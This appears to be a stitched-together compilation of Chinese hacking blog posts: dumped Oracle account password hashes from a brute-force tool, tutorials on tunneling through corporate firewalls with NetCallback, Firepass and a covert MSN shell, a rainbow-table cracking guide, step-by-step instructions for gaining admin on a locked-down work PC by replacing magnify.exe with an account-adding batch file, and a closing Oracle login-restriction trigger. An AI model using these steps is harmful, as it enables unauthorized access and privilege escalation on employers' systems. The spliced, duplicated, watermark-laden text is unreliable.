EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
NAME                           PASSWORD
------------------------------ ------------------------------
OUTLN                          4A3BA55E08595C81
RECOVERY_CATALOG_OWNER
AQ_ADMINISTRATOR_ROLE
AQ_USER_ROLE
OEM_MONITOR
HS_ADMIN_ROLE
TRACESVR                       F9DA8977092B7B81
WDEVELOPER
AURORA$JIS$UTILITY$             000001501983169
OSE$HTTP$ADMIN                  000001198644021
AURORA$ORB$UNAUTHENTICATED     -000000728729637
NAME                           PASSWORD
------------------------------ ------------------------------
TIMESERIES_DEVELOPER
TIMESERIES_DBA
CTXAPP
TOAD                           361001117A542AC1
DBSNMP                         E066D214D5421CCC
WACOS                          1AD491DE05C669FB
UTCORE                         9C5CB992189E20D9
NMS                            5E9DEFE765774DC1
JAVA_ADMIN
JAVA_DEPLOY
SCHEDULER_ADMIN
NAME                           PASSWORD
------------------------------ ------------------------------
DIP                            CE4A36B8E06CA59C
QUEST_SL_USER
TSMSYS                         3DF26A8B17D0F29F
OEM_ADVISOR
JAVAUSERPRIV
JAVAIDPRIV
JAVASYSPRIV
JAVADEBUGPRIV
GATHER_SYSTEM_STATISTICS
LOGSTDBY_ADMINISTRATOR
GLOBAL_AQ_USER_ROLE            GLOBAL
NAME                           PASSWORD
------------------------------ ------------------------------
UTNEW                          C686642569070067
_NEXT_USER
TC_ADMIN_ROLE
TC_MGR_ROLE
TC_LDR_ROLE
49 rows selected.

NAME                           PASSWORD
------------------------------ ------------------------------
SYS                            D4C5016086B2DC6A
PUBLIC
CONNECT
RESOURCE
DBA
SYSTEM                         D4DF7931AB130E37
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
NAME                           PASSWORD
------------------------------ ------------------------------
OUTLN                          4A3BA55E08595C81
RECOVERY_CATALOG_OWNER
AQ_ADMINISTRATOR_ROLE
AQ_USER_ROLE
OEM_MONITOR
HS_ADMIN_ROLE
TRACESVR                       F9DA8977092B7B81
WDEVELOPER
AURORA$JIS$UTILITY$             000001501983169
OSE$HTTP$ADMIN                  000001198644021
AURORA$ORB$UNAUTHENTICATED     -000000728729637
NAME                           PASSWORD
------------------------------ ------------------------------
TIMESERIES_DEVELOPER
TIMESERIES_DBA
CTXAPP
TOAD                           361001117A542AC1
DBSNMP                         E066D214D5421CCC
WACOS                          1AD491DE05C669FB
UTCORE                         9C5CB992189E20D9
NMS                            5E9DEFE765774DC1
JAVA_ADMIN
JAVA_DEPLOY
SCHEDULER_ADMIN
NAME                           PASSWORD
------------------------------ ------------------------------
DIP                            CE4A36B8E06CA59C
QUEST_SL_USER
TSMSYS                         3DF26A8B17D0F29F
OEM_ADVISOR
JAVAUSERPRIV
JAVAIDPRIV
JAVASYSPRIV
JAVADEBUGPRIV
GATHER_SYSTEM_STATISTICS
LOGSTDBY_ADMINISTRATOR
GLOBAL_AQ_USER_ROLE            GLOBAL
NAME                           PASSWORD
------------------------------ ------------------------------
UTNEW                          C686642569070067
_NEXT_USER
TC_ADMIN_ROLE
TC_MGR_ROLE
TC_LDR_ROLE
49 rows selected.

NAME                           PASSWORD
------------------------------ ------------------------------
SYS                            D4C5016086B2DC6A
PUBLIC
CONNECT
RESOURCE
DBA
SYSTEM                         D4DF7931AB130E37
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
NAME                           PASSWORD
------------------------------ ------------------------------
OUTLN                          4A3BA55E08595C81
RECOVERY_CATALOG_OWNER
AQ_ADMINISTRATOR_ROLE
AQ_USER_ROLE
OEM_MONITOR
HS_ADMIN_ROLE
TRACESVR                       F9DA8977092B7B81
WDEVELOPER
AURORA$JIS$UTILITY$             000001501983169
OSE$HTTP$ADMIN                  000001198644021
AURORA$ORB$UNAUTHENTICATED     -000000728729637
NAME                           PASSWORD
------------------------------ ------------------------------
TIMESERIES_DEVELOPER
TIMESERIES_DBA
CTXAPP
TOAD                           361001117A542AC1
DBSNMP                         E066D214D5421CCC
WACOS                          1AD491DE05C669FB
UTCORE                         9C5CB992189E20D9
NMS                            5E9DEFE765774DC1
JAVA_ADMIN
JAVA_DEPLOY
SCHEDULER_ADMIN
NAME                           PASSWORD
------------------------------ ------------------------------
DIP                            CE4A36B8E06CA59C
QUEST_SL_USER
TSMSYS                         3DF26A8B17D0F29F
OEM_ADVISOR
JAVAUSERPRIV
JAVAIDPRIV
JAVASYSPRIV
JAVADEBUGPRIV
GATHER_SYSTEM_STATISTICS
LOGSTDBY_ADMINISTRATOR
You will need to delete or move thepasswordsare.txt file before running again.
D:\soft\oracle\Orabrute>
最后查看当前目录下的thepasswordsare.txt文件即可。
在大多数安装有各式各样软、硬件防火墙的企业内部网中,防火墙最大的作用是有效防御黑客攻击以及控制对网点的访问。在一些特殊的情况下,我们在装有防火墙的内部网中,需要突破防火墙的控制来访问公众网的一些网点。例如,我们在受防火墙控制的内部Linux客户端计算机中编写网络应用软件,这些软件有时候不得不和公众网一些网站或者IP进行连接测试,很不幸的是,具有丰富管理经验的网管很可能把防火墙的安全策略设定得很严格,请他专门为你的客户端计算机、为你编写的软件调用的某些端口开放一个专门的通道也许是不现实的。因为这样做无疑是在防守严密的防火墙系统中开了一个小洞,尽管这个窟窿很小,但一旦被高明的黑客所利用,后果不堪设想。所以,在不修改防火墙系统的条件下,又要遵守防火墙的安全策略,又要需求对内外网访问的突破,是一个很值得研究的问题。
突破防火墙系统最常用的方法是IP欺骗,虽然这个方法有时候显得非常简单高效,但是很多网络安全事故都是IP欺骗这个缺陷而引发的。在这里,我们要介绍两个实用的方法,在Linux下如何实现防火墙的突破。



合法NetCallback
NetCallback
是一个JAVA应用程序,它最主要的作用是可以重定向TCPUDP端口,也就是说我们可以利用NetCallback按照我们的需要,把在防火墙内部的计算机访问防火墙外部主机的访问端口重定向,把防火墙认为非法的TCPUDP端口改为符合防火墙通讯策略的端口,从而
合法地通过防火墙的策略控制,达到突破防火墙的目的。防火墙系统不可能把内外网的端口、URLIP访问都完全禁止,常用的网络服务和一些合法的网络应用软件都必须给用户开放。例如WEB服务的80端口,FTP服务的21端口,代理服务器的8080端口等,这就给NetCallback利用这些合法的策略绕开防火墙提供了有力的条件。
NetCallback
JAVA语言在GNU协议下编写,运行稳定,效率相当高,而且NetCallback支持SSL数据加密传输,能有效保护内网客户端计算机和外部主机的数据通讯安全。NetCallbackPublic Server(公共服务器)和Private Server(私有服务器)两部分组成。Private server 需要安装在防火墙外的主机中,主要作用是接受和响应来自防火墙内部Public server发出的端口请求。Public server安装于防火墙内部的计算机中,需要突破防火墙的客户端计算机首先与Public server连接,然后Public server重新定向客户端计算机的TCP/UPD访问端口,经过Public server端口重定向处理的请求可以
合法地通过防火墙去和防火墙外的Private server进行连接,Private server再把这个连接发往最终的目标主机。这样从内网的客户端计算机就通过跳转连接的方式,通过防火墙的拦截顺利到达最终要访问的目标主机。同样道理,从目标主机要返回的数据也是通过Private server>防火墙->Public server>客户端计算机。
1
.工作原理
下面让我们具体来分析NetCallback的连接协议,以便更好的了解NetCallback的工作原理。
从图1中我们可以看到NetCallback的连接协议原理:
1)
假设Tagethost就是我们要访问的外网目标主机,此主机受到防火墙访问策略控制,在我们内网的客户端计算机无法直接访问。
2)
我们可以设法在外网中的一台非目标主机的计算机上安装Private Server,用来接受来自内网Public server的重定向端口(TCP_RedirectPort)的请求。
3)
在受防火墙控制内网中的一台主机中安装Public server,作用在于接受来自内网中客户端计算机访问外网目标主机及其端口请求(TatgeetTCPHost & TargetTCPPort)。
4)
一旦Private Server进程启动,Private server自动连接内网的的PublicServer,建立基于SSL的加密通讯连接,等待内网客户端访问外网目标主机的请求。
我们可以看到NetCallbackTCP通道连接协议(TCP Tunneling Protocol)原理。
5)
内网的客户端计算机向Public Sever发送访问外网目标主机请求。
6) PublicServer
接到内网的客户端计算机向Public Sever发送访问外网目标主机请求后,立即重新定向一个独立的临时端口(TEMP TCP PORT)。
7)
临时端口(TEMP TCP PORT)通过防火墙向外网的Private server发出一个回叫信号请求,表示PublicServer已经做好准备接受来自Private server的通讯。
8) Private server
接受到来自Public Sever发送临时端口的请求后,也同样产生临时的端口与Public Sever的临时端口进行连接。
9)
这样,从Public Sever临时端口到Private server临时端口的通讯桥梁已经建立完成。此连接为匿名的加密连接,能有效地防治通讯数据被非法监听。请注意,只有Public SeverPrivate server之间的连接才会被加密。
10) Private server
向目标主机进行连接。
11)
从内网的客户端计算机到外网的目标主机通道连接完成,可以进行通讯和数据交换。一个请求或者通讯结束后,Private serverPublic Sever的临时端口和通讯桥梁会自动失效,等待下次端口重定向连接请求。这样的目的可以最大限度的防治防火墙拦截和网络入侵检测系统的监控。

以上用的是一个TCP端口的连接来说明NetCallback的通讯原理,同样的道理,NetCallbackUDP的通讯原理是和TCP一样的,这里就不再次重复了。

2
.安装和使用
NetCallback
的安装和使用也很简单。在Linux下安装NetCallback需要如下环境。

Java2 Runtime Environment version >= 1.2
[ 可选] Java Secure Socket Extention (JSSE) version >= 1.0.2
NetCallback
可以到[url]http://netcallback.sourceforge.net/[/url]网站下载,目前最新的版本是netcallback-1.3.1.tar.gz
NetCallback
的安装和使用:
PublicServer java -jar netcallback.jar -Public { -ssl } -servicePort <port> { -tcpPort <port> } { -udpPort <port> }
-ssl
-SSL参数为启用SSL加密Private serverPublicServer之间的通讯
-servicePort port
定义接收Private server请求的端口
-tcpPort port
定义客户端使用通道的TCP端口
-udpPort port
定义客户端使用通道的UDP端口
PrivateServer java -jar netcallback.jar -Private { -ssl } -service <host> <port> { -tcp <host> <port> } { -udp <host> <port> }
-ssl
-SSL参数为启用SSL加密Private serverPublicServer之间的通讯
-service host port
定义Public server的主机名和端口
-tcp host port TCP
重定向目标主机及端口
-udp host port UDP
重定向目标主机及端口
举例说明NetCallback的用法:
例如Public server的主机名为
free(不使用 SSL加密/使用SSL加密)
java -jar netcallback.jar -Public -servicePort 1234 -tcpPort 8080 -udpPort 1616

java -jar -Djavax.net.ssl.trustStore=keystore -Djavax.net.ssl.keyStore=keystore -Djavax.net.ssl.keyStorePassword="testing" netcallback.jar -Public -ssl -servicePort 1234 -tcpPort 8080 -udpPort 16161
Private server
向主机名为
free Public server进行Telnet连接的例子(不使用 SSL加密/使用SSL加密)
java -jar netcallback.jar -Private -service free 1234 -tcp protected 80 -udp protected 161

java -jar -Djavax.net.ssl.trustStore=keystore -Djavax.net.ssl.keyStore=keystore -Djavax.net.ssl.keyStorePassword="testing" netcallback.jar -Private -ssl -service free 1234 -tcp protected 80 -udp protected 161
再列一个WEB访问的实例:
(TCP) and SNMP access (UDP) forwarding examples (UNIX)
lynx [url]http://free:8080[/url]
snmpwalk -v 1 -p 1616 free Public


网络访问控制系统迂回技术
和上面
合法的防火墙突破技术NetCallback相比,网络访问控制系统迂回技术则带着浓厚的黑客技术色彩。网络访问控制系统迂回技术最主要的研究网站是灰色世界([url]www.gray-world.net[/url]),这个站点致力于发展能突破防火墙控制的网络访问控制系统迂回技术:隧道技术,隐通道技术,网络密码学等。网络访问控制系统迂回技术目前代表着突破防火墙黑客技术的一个较高层次的发展方向。
隐藏通道机制是一种简易而有效的方法,可使得建立在未授权或未预料的方法之上的通信机制成为可能。它们能跨越多种访问控制/监视报告系统。因为这类系统总是在这样的通过在常规数据流夹带隐秘数据的方法面前显得无能为力。协议隧道的攻击思想类似于×××的实现原理,攻击者将一些恶意的攻击数据包隐藏在一些协议分组的头部,从而穿透防火墙系统对内部网络进行攻击。隐通道技术常常基于隧道技术,这种机制允许将任何协议封装在已被授权的可行协议内,因此通过在被授权的协议数据流内夹带任何其它协议数据便可实现此类通信。
目前,该网站已经开发出几个项目,通过这些程序,可以在TCP的几种子协议(HTTP HTTPS MSN)UDP协议上建立隐藏通道:Active Port Forwarder-运用安全套接字协议实现安全隧道;CCTT-TCP/UDP数据在TCP/UDP/HTTPPOST方法上传输; Firepass-TCP/UDP数据封装在HTTP协议的POST方法上传输;MSNShell-通过MSN协议/基于HTTP协议的MSN协议,远程登陆Linux ShellWsh-通过HTTPHTTPS协议远程登陆Unix/Win Shell
灰色世界站点声称他们所有的开发项目/论文都是基于GNU通用公共许可版本2.0/GNU的自由文档许可版本1.2发布的。该站点强调,这些技术只可被应用于教学/研究目的。
伴随着网络访问控制系统迂回这个主题,世界上越来越多的致力于研究防火墙突破的技术人员走到了一起,包括中国一些高手在内的许多爱好者组成了这个小组,并合作开发其它关于计算机科学/网络安全领域的项目。
以下通过介绍MSNShellFirepass这两个典型的基于网络访问控制系统迂回技术的程序,给读者介绍基于网络访问控制系统迂回技术是如何突破防火墙的控制的基本原理。
1. MSNShell
MSNShell
是一种隐藏通道工具,外网的计算机可以避开防火墙的严格数据审查,远程控制一台内网计算机。它把Shell命令/响应隐蔽地封装在MSN 协议中传送出去。必要时还可以将MSN协议包封装在HTTP协议中传送出去。它无需安装客户端,只由一个可执行程序组成服务端。
MSNShell
的主要特点如下:
Ø 内网计算机为外网计算机提供一个Shell,方便其远程控制操作。
 
通过将Shell命令和回应封装在MSN协议中,避开网络访问控制系统的探测。
Ø
Ø 也可以在Shell命令被封装在MSN协议后,将这样的MSN数据包封装在HTTP协议中,穿透HTTP代理服务器。
2
Firepass
Firepass
是一种隧道技术工具,通过它可以避开防火墙的规则约束,将数据流封装在合法的HTTP POST请求中。任何基于TCP/UDP协议的子协议可以通过它来穿越HTTP代理服务器对HTTP协议的严格审查。到目前为止,客户端和服务器端仅用 PERL语言编写。服务器端作为一个CGI脚本运行在WEB服务器上,Firepass的主要特点是用户可以在外网使用几种方法安装服务器端脚本。用户无需在外网计算机上帮定任何端口。当服务端脚本被置于企业WEB服务器上,客户端脚本从外部网络和它通信时,Firepass也可适用于反弹作业。
Firepass
的安装和使用并不复杂,只要使用者想办法能在防火墙内、外找到合适的ServerClient主机即可。至于如何实现找到和控制这两台主机,就要看诸位的本事了,互联网上的肉鸡还是很多的。
下载firepass-1.1.2a.tar,解压缩包。我们来看Server HOST (httpd)的安装:
1
) 将压缩包里的FIREPASS Server脚本文件、
fpserver/fpserver.cgifpserver/conf目录拷贝到服务器端主机的cgi-bin目录中。
2
) 创建2个目录
inoutlog,例如在/var/tmp下创建,并进行如下操作:
`chmod 777 inout log` or
`chown <httpd_user>:<httpd_group> inout log && chmod 700 inout log`
这样的操作是为了使得Fpserver.cgi在这两个目录中能够读写。
3
)根据实际参数,修改FIREPASS server 配置文件。
conf/fpserver.conf :
配置文件;
conf/fpserver.allow :
访问控制列表文件。
4
) 输入下面的命令运行Fpserver.cgi,调用的是Conf/fpserver.conf配置文件:
`./fpserver.cgi configure conf/fpserver.conf`

再看Client HOST的安装和配置:首先需要在Client HOST上安装好PERL语言环境,然后需要修改压缩包的FIREPASS client目录里的3个配置文件:
conf/fpclient.conf :
配置文件;
conf/fpclient.rules :
端口、IP重定向规则文件;
conf/fpserver.allow :
访问控制列表文件。
Firepass
的基本用法:在Client端主机中输入命令:
./fpclient.pl conf/fpclient.conf [SERVER]/cgi-bin/fpserver.cgi
其中[SERVER]代表FirepassServer端主机IP或者主机名。这样,防火墙内、外网的两台Firepass服务器端和客户端计算机就能合法地通过防火墙进行连接了。

Firepass
在如下配置的操作系统中测试通过:
* SunOS 5.8 + Perl 5.005_03;
* Mandrake Linux (kernel version 2.4.19) + Perl 5.8.0;
* Windows 2000 / XP + ActivePerl 5.8.0.806;

Firepass
能提供的突破服务主要有:
TELNET
ICQHTTP
更多、更巧妙的用法,限于篇幅,待对网络访问控制系统迂回技术有兴趣的朋友自行测试了。


分析这些突破防火墙控制的软件,都有一个共同的特点,那就是都有服务器端和客户端,分别安装在防火墙的内外网的主机上。从内网的客户端访问被防火墙禁止的目标主机,都需要通过这些软件建立起的公开、隐蔽的通道才得以实现内外网主机之间的数据交换和网络访问。
对于管理防火墙系统的管理员来说,如何应对这些
合法的访问突破也是一个很棘手的问题,实际上,仅仅依靠严格防火墙自身策略,加强访问控制是无法很好的应对这个问题的。只有通过多种手段,对网络流量、端口访问的严格监控和分析,才能防止内网客户端计算机对防火墙的突破。
 
从前面的两篇文章(得到WindowsXP管理员权限的有效方法John/bkhive/samdump, 在Linux下破解SAM密码)可以看出我对Windows系统权限突破的兴趣。由于目前的压迫尚未推翻,所以反抗还在继续。这次讨论的是采用Rainbow TableOphcrack结合的另外一种暴力破解机制。这里假设的前提是你已经得到加密hash。如果你还没有办法得到hash,请参考上面提到的两篇文章。
说实话,google上关于rainbow tables的相关说明并不多。相信最全的解释可以通过这个链接 了解。但是wiki的,英文的,除非有特别必要的需求之前我还没有打算细细研究。但是据我目前的了解,作如下解释,不确切之处还请指出:
Rainbow tables是一些表,它可以是指定字符的各种组合以及这些组合经过MD5LMNTLM等加密手段加密后的对照表。所以可想而知,这些表是相当庞大的。当你得到这些表后,破解hash密码实际上相当于字典破解了,速度相对普通的暴力破解会大大增加。下面让我告诉你著名的基于Rainbow tables的开源破解软件Ophcrack的帮助文档里面描述的表有多大吧:
针对LM密码的Rainbow Tables:
1.包含所有字母和数字1-7位组合的Table分成有两个 Alphanumeric SSTIC04-10k(388MB)Alphanumeric SSTIC04-5k(720MB),从我查得的资料表明这两个Table在密码组合个数上是一致的。但是Alphanumeric SSTIC04-5k文件更大一倍,如果有1G以上的内存的话,破解速度快4四倍(为什么会有这种诡异的差异,没有查到)。他们包含800亿个hash, 由于LM加密对大小写不敏感,所以能破解2^831-14位的LM密码。
2.LM延伸表,包含所有字母+数字+33个特殊字符(!#$%&()*+,-./:;<=>?@[\]^_`{|} ~)的96%1-7位组合包含7万亿个hash,能破解2^92LM密码。大小7.5G
获取方式:目前没有官方下载,可以通过ophcrack的网站购买DVD,价格$240,地址:[url]http://www.objectif-securite.ch/en/products.php[/url]
另外我找到freerainbowtables.combt下载,号称更大,33.8G([url]http://www.freerainbowtables.com/tables/lm.php[/url]),或者下载软件自己生成(生成方式见本文后面)。
针对NTLM密码的Rainbow Tables:
1.NT hash table: 包含1-6位的字母+数字+33个特殊字符组合,7位字母+数字组合,8位小写字母+字符组合;包含7万亿个hash,能破解7万亿个密码。大小8.5G
获取方式: 目前没有官方下载,可以通过ophcrack的网站购买DVD,大小就是上面描述的8.5G,价格$240,地址:[url]http://www.objectif-securite.ch/en/products.php[/url]
同样可以上 freerainbowtables.com看看(地址:[url]http://www.freerainbowtables.com/tables/ntlm.php[/url]),有很多选择,最大的1-9位小写字母+数字组合有123G,小心你的磁盘。
从上面的内容我们可以看到Rainbow tables都相当庞大。而实际上这些东西从某种意义上来说都只是字典文件而已。当然它跟传统的字典是有区别的,它是一个庞大的字符加密hash与字符加密前的对照表,使用相应破解工具在破解过程中进行的只是对比的工作,省却了将字符加密计算的过程,从而大大节省了时间。
如果上面提到的Rainbow Tables的获取有困难,或者不满意他们的组合方式,也可以自己生成,这里有一个开源工具:
RainbowCracK[url]http://www.antsight.com/zsl/rainbowcrack/[/url]作者可能是个叫Lei Shuang 的国人。
目前最新版本:rainbowcrack-1.2
提供Windows二进制码(rainbowcrack-1.2-win.zip)和可用于所有平台(Windows/Linux/Unix等)的源码(rainbowcrack-1.2-src.zip
提供自定义组合字符,
提供lm,md5,sha1以及自定义组合加密方式。如果加一个补丁( Algorithm patch for RainbowCrack 1.2)还提供NTLM,MD2, MD4 and RIPEMD160加密算法
如果你打算使用工具自己生成的大Table的话,你需要做好心理准备,需要强劲的CPU,大的磁盘可用空间,以及大量的时间(使用单台PC以年为单位的时间)。所以该工具的主页上也有一些Table提供下载。
讲了半天,上面提到的还只是Rainbow tables的各种表,至于如何使用这些表,还需要一个工具。这里推荐大名鼎鼎的Ophcrack:
最新版本:Ophcrack-2.4.1,提供Windows二进制文件包(ophcrack-win32-installer-2.4.1.exe )和可用于所有平台(Windows/Linux/Unix等)的源码(ophcrack-2.4.1.tar.gz)
使用该软件破解需要两个条件
1.需要另外提供Rainbow tables,就是上面提到的
2.要求已经得到密码的hash,方法可参考John/bkhive/samdump, 在Linux下破解SAM密码,所以主页还提供了 bkhive-1.1.1.tar.gzsamdump2-1.1.1.tar.gz
另外Ophcrack还提供一个Live CD,最新版本1.2.2,下载地址:ophcrack-livecd-1.2.2.iso
ophcrack-livecd 基于一个叫SLAX6的小Linux 系统,整个系统包括SLAX6,ophcrack for linux 以及一些小的字母+数字的Rainbow tables。大小477M
所以只要可以通过光盘启动,无需安装就可以开始破解了。
关于Windows密码的LM加密和NTLM加密:
LM又叫LanManage,它是Windows古老而脆弱的密码加密方式。任何大于7位的密码都被分成以7为单位的几个部分,最后不足7位的密码以0补足7位,然后通过加密运算最终组合成一个hash。所以实际上通过破解软件分解后,LM密码破解的上限就是7位,这使得以今天的PC运算速度在短时间内暴力破解LM加密的密码成为可能(上限是两周),如果使用Rainbow tables, 那么这个时间数量级可能被下降到小时。而这种脆弱的加密方式在Windows2003还在使用。当然我们也可以通过设定注册表参数禁用LM加密,代之以NTLM方式加密(默认生成LM以及NTLM两种方式的加密hash.方法如下:
1. 打开注册表编辑器;
2. 定位到 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
3. 选择菜单编辑添加数值
4. 数值名称中输入:LMCompatibilityLevel ,数值类型为:DWORD,单击 确定;
5. 双击新建的数据,并根据具体情况设置以下值:
0 - 发送 LM NTLM响应;
1 - 发送 LM NTLM响应;
2 - 仅发送 NTLM响应;
3 - 仅发送 NTLMv2响应;(Windows 2000有效)
4 - 仅发送 NTLMv2响应,拒绝 LM(Windows 2000有效)
5 - 仅发送 NTLMv2响应,拒绝 LM NTLM(Windows 2000有效)
6. 关闭注册表编辑器;
7. 重新启动机器
Windows NT SP3引入了NTLM加密以及Windows2000以后逐步引入的NTLM 2.0加密解决了这个问题,让我们在短期内破解长度超过8位的密码成为一种运气。但是LM加密方式默认还是开启的,除非通过上面的方法刻意关闭它。
如果你有光驱,如果你有进入BIOS的权限,那么请你不要继续看这篇文章了,去找一张WindowsXP光盘就可以了,想怎么搞,怎么搞。
我这里要谈的问题是针对公司办公电脑的。公司IT部门跟普通职员永远是一对矛盾。IT部门应公司领导要求,或者自己管理方便,总是想尽办法让你拥有尽量少的权限。光驱,软驱就别想用了;BIOS密码是不会告诉你的(当然大多数情况下,这个不是问题);C盘一定是NTFS格式的,boot.ini你就别去碰了,没有希望的,C盘有没有写的权限还需要看IT部同事们的心情呢; 封USB一般分两种:物理端口贴封条,那叫人治,系统设置卡权限叫法制,相对来说前者比较阴险;用域控制器统一管理权限;还会用各种组策略卡你各种应用程序执行权限的……
出于对自由的渴望,我们是绝对不会认输滴……
前段时间我写过一篇John/bkhive/samdump, 在Linux下破解SAM的文章,是我的一个成功的案例,但是这不会绝对有用,因为如果BTIT哥们把管理员密码设得足够复杂和长,那么就没辙了。这不,我换工作到新公司后就碰到了。让John帮我辛苦的算了1个月后,我决定放弃使用这种方法了
随便google一下,你就会发现windowsxp提升权限的方法N多,但是大多数是无效的,而铺天盖地的文章也只是不负责任的抄来抄去:
1.最著名的删除SAM文件,正常情况下你是没有办法动这个文件的。当你化大力气删掉这个文件后,会发现系统会崩溃。汗一下吧
2.进入带命令行的安全模式,执行net user admin 123 /add 类似的命令。sorry, 首先,普通用户要进入安全模式就是管理员的话,微软就别混那么多年了;其次,普通用户要能添加用户,再让他变成管理员的话,微软照样不用混了。汗第二下吧
3.运行各种能探测windows密码的rootkit工具。又是一个鸡生蛋,蛋生鸡的问题。能成功运行这些工具的前提一般是你有管理员权限;要是有管理员权限,你TMD还需要这个?汗第三下吧
4.写个bat文件 ,上书一下代码:
net user admin 123 /add
net localgroup administrators admin /add
代替logon.scr, magnify.exe等系统程序。
这个有点靠普,但是执行起来也有难度。一来,windows对这些文件是保护的,你没有办法修改,删除,或者重命名,即使你把硬盘拆下来放到另外一台windows的机器上也一样。但是本文的方法是基于这个的。
声明一下,这不是我独创的,思想方法来源于互联网,我只是通过实践证明了它的可行性,让我们在公司上班的自由斗士减少弯路而已。
好了,开始吧:
1. 准备好用户添加脚本。用写字板写下如下内容,并将文件名改成magnify.bat
@net user admin /del
@net user admin 123456 /add
@net localgroup administrators admin /add
@exit
上述第一行会把admin用户删除,避免如果它存在影响后面两行的执行,如果不存在也不会影响后面两行的执行;第二行添加名为admin的帐户,密码设为123456;第三行将admin帐户加入到administrators用户组下;第四行退出
2. 将文件magnify.bat转化为exe格式。请你不要直接改后缀名,那样不能运行的。有一个工具叫bat2exe,可以转化:bat2exe 里面有,两个文件,bat2com.execom2exe.exe文件。分别用下面命令:
bat2com magnify.bat //生成magnify.com文件
com2exe magnify.com //生成magnify.exe文件
bat2exe工具是一个16位程序。如果上面连接无法下载,请google
3.替换文件:将上面生成的magnify.exe文件替换C:\WINDOWS\systen32\magnify.exe文件。其实这个是放大镜程序,替换前,请确保先将原始magnify.exe备份好,以便用完后能够替换回去,否则以后你的放大镜程序就用不了了。
这个是这里最难的部分。再次重申,如果你有光驱,软驱,USB,BIOS等资源,请你用windowsXP光盘这个方便的方法,别走远路了。我是将硬盘拆下,放到Linux系统下替换的(顺便用到NTFS3g程序使得LinuxNTFS可写,这里用到的LinuxMount windows分区,修改文件等知识不在本篇主题以内,就不讨论了。如果你需要,可以问我)。你也可以用其他办法,但是硬盘是拆定了,要不然没辙;另外一个系统确定别用WindowXP,因为这样不会成功。
4.运行magnify.exe。启动WindowsXP到登录界面,按Ctrl+U,弹出辅助工具对话框,上面有两个程序可选,放大镜程序和屏幕键盘程序。选放大镜,点击运行。然后你就可以用帐户admin密码123456登录。
恭喜,系统就是你的了。记得将原来的放大镜程序替换回去
这里只是我的成功方法,但是过程一定不是唯一的。比如替代程序不一定就是放大镜程序,你也可以用屏幕键盘程序。文件替换的过程就更加天马行空了,完全在于你的创造力了。
1.  还有一个办法,就是USB启动。
一般禁止USB端口无非两种:
1.
系统组策略禁止,这个比较灵活,还可以保留USB鼠标等设备
2.
如果管理员懒一些,会在BIOS里面禁止,前提是没有USB鼠标这样的设备。
以上不管哪种方式禁止,对于我们来说都一样,条件是电脑要支持USB启动。
1.
在其他电脑上制作USB启动盘,建议使用深度技术 USB启动维护盘制作工具:[url]http://os.deepin.org/read.php?tid=256904[/url]
2.
清零Bios, 设置USB启动
3.
插入USB启动优盘,选择启动WINPE
4.WINPE
无比强大,可以修改硬盘上的任何文件,包括NTFS格式Cwindows目录下的任何文件,甚至那个叫SAM
5.
为所欲为吧
 
 
单纯的设定允许的IP 和 禁止的IP
 以前有文档说增加或修改protocol.ora文件,
9i中真正起作用的是sqlnet.ora文件,我们修改sqlnet.ora其实是最好最快的方法。
 
sqlnet.ora中增加如下部分
-----------------------------
####
来自 protocol.ora 的属性 ####
 
tcp.validnode_checking=yes
 
 
#
允许访问的IP
tcp.invited_nodes=(ip1,ip2
……) 
 
#
禁止访问的IP
tcp.excluded_nodes=(ip1,ip2
……)
 
之后重新启动监听器即可
 
需要注意的地方:
1
tcp.invited_nodestcp.excluded_nodes都存在,以tcp.invited_nodes为主
2
、一定要许可或不要禁止服务器本机的IP地址,否则通过lsnrctl将不能启动或停止监听,因为该过程监听程序会通过本机的IP访问监听器,而该IP被禁止了,但是通过服务启动或关闭则不影响。
IT资讯之家 [url]http://www.it55.com[/url]

3
、修改之后,一定要重起监听才能生效,而不需要重新启动数据库
4
、任何平台都可以,但是只适用于TCP/IP协议
但是,客户需求:针对每一个用户,都能指定相应的允许的IP地址.
设计思路
:
建立表(用户名,ip地址),触发器 (AFTER LOGON ON DATABASE)
缺点:
不过AFTER LOGON ON DATABASE触发器对有DBA权限的用户不起作用,还好客户说,数据库中拥有DBA权限的用户就几个,并且密码就一个人知道.
如果对DBA用户也要限制IP地址,触发器这种方法就无能威力了.
运行抓图
Table,Trigger,Package
源码:

SQL> select * from iplimit;
LOGONUSER
  IPBEGIN                 IPEND                    REASON     ADDTIME 免费设计素材下载[url]http://www.it55.com[/url]
----------
               ---------------           ---------------              ----------       ----------
PUBLIC
             202.94.155.37     202.94.155.101   实验室         17-7 -06
HYCW
               202.94.155.67      202.94.155.67     sd                 17-7 -06
KFKF
                 222.158.124.129 222.158.124.129  开发            17-7 -06 IT资讯之家 [url]http://www.it55.com[/url]
触发器
CREATE OR REPLACE TRIGGER "LOGON_AUDIT" AFTER
LOGON ON DATABASE
DECLARE
RECORD_NUM NUMBER;
USERIP VARCHAR2(15);
ISFORBIDDEN BOOLEAN:=TRUE;
BEGIN
  USERIP:=SYS_CONTEXT ('USERENV','IP_ADDRESS');
  SELECT COUNT(*) INTO RECORD_NUM FROM ACME.IPLIMIT WHERE LOGONUSER=USER;
  IF(RECORD_NUM>0)THEN
    IF(ACME.SECURITY.ISLEGALIP(USERIP,USER)=FALSE)THEN
      RAISE_APPLICATION_ERROR(-20003,'IP :'||USERIP||' is forbided');
[url]http://www.it55.com/[/url]

    END IF;
   
  ELSE
    SELECT COUNT(*) INTO RECORD_NUM FROM ACME.IPLIMIT WHERE LOGONUSER='PUBLIC';
    IF(RECORD_NUM>0)THEN
      IF(ACME.SECURITY.ISLEGALIP(USERIP,'PUBLIC')=FALSE)THEN
        RAISE_APPLICATION_ERROR(-20003,'IP :'||USERIP||' is forbided');
      END IF;
    ELSE
      RAISE_APPLICATION_ERROR(-20003,'IP :'||USERIP||' is forbided'); 免费设计素材下载[url]http://www.it55.com[/url]
    END IF;
  END IF;   
EXCEPTION
 WHEN NO_DATA_FOUND THEN
  RAISE;
 WHEN VALUE_ERROR THEN
  SYS.Dbms_Output.PUT_LINE('EXCEPTION HANDED');
 WHEN OTHERS THEN
  RAISE;
END LOGON_AUDIT;
/
程序包
